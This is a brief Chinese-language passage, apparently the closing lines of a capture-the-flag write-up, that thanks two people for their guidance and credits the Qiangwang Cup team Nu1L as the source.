感谢风沐云烟、 railgun 师傅的指点!
内容来源
强网杯-Nu1L